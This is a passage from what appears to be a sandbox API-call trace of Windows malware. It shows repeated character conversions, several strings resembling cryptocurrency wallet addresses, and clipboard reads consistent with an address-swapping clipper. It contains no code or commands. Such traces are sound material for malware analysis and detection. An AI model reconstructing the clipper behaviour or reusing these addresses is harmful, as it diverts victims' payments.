lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.654] Sleep (dwMilliseconds=0x64) [0051.764] GetOpenClipboardWindow () returned 0x0 [0051.764] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.764] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.764] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.764] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.764] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.764] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.764] CloseClipboard () returned 1 [0051.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.767] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 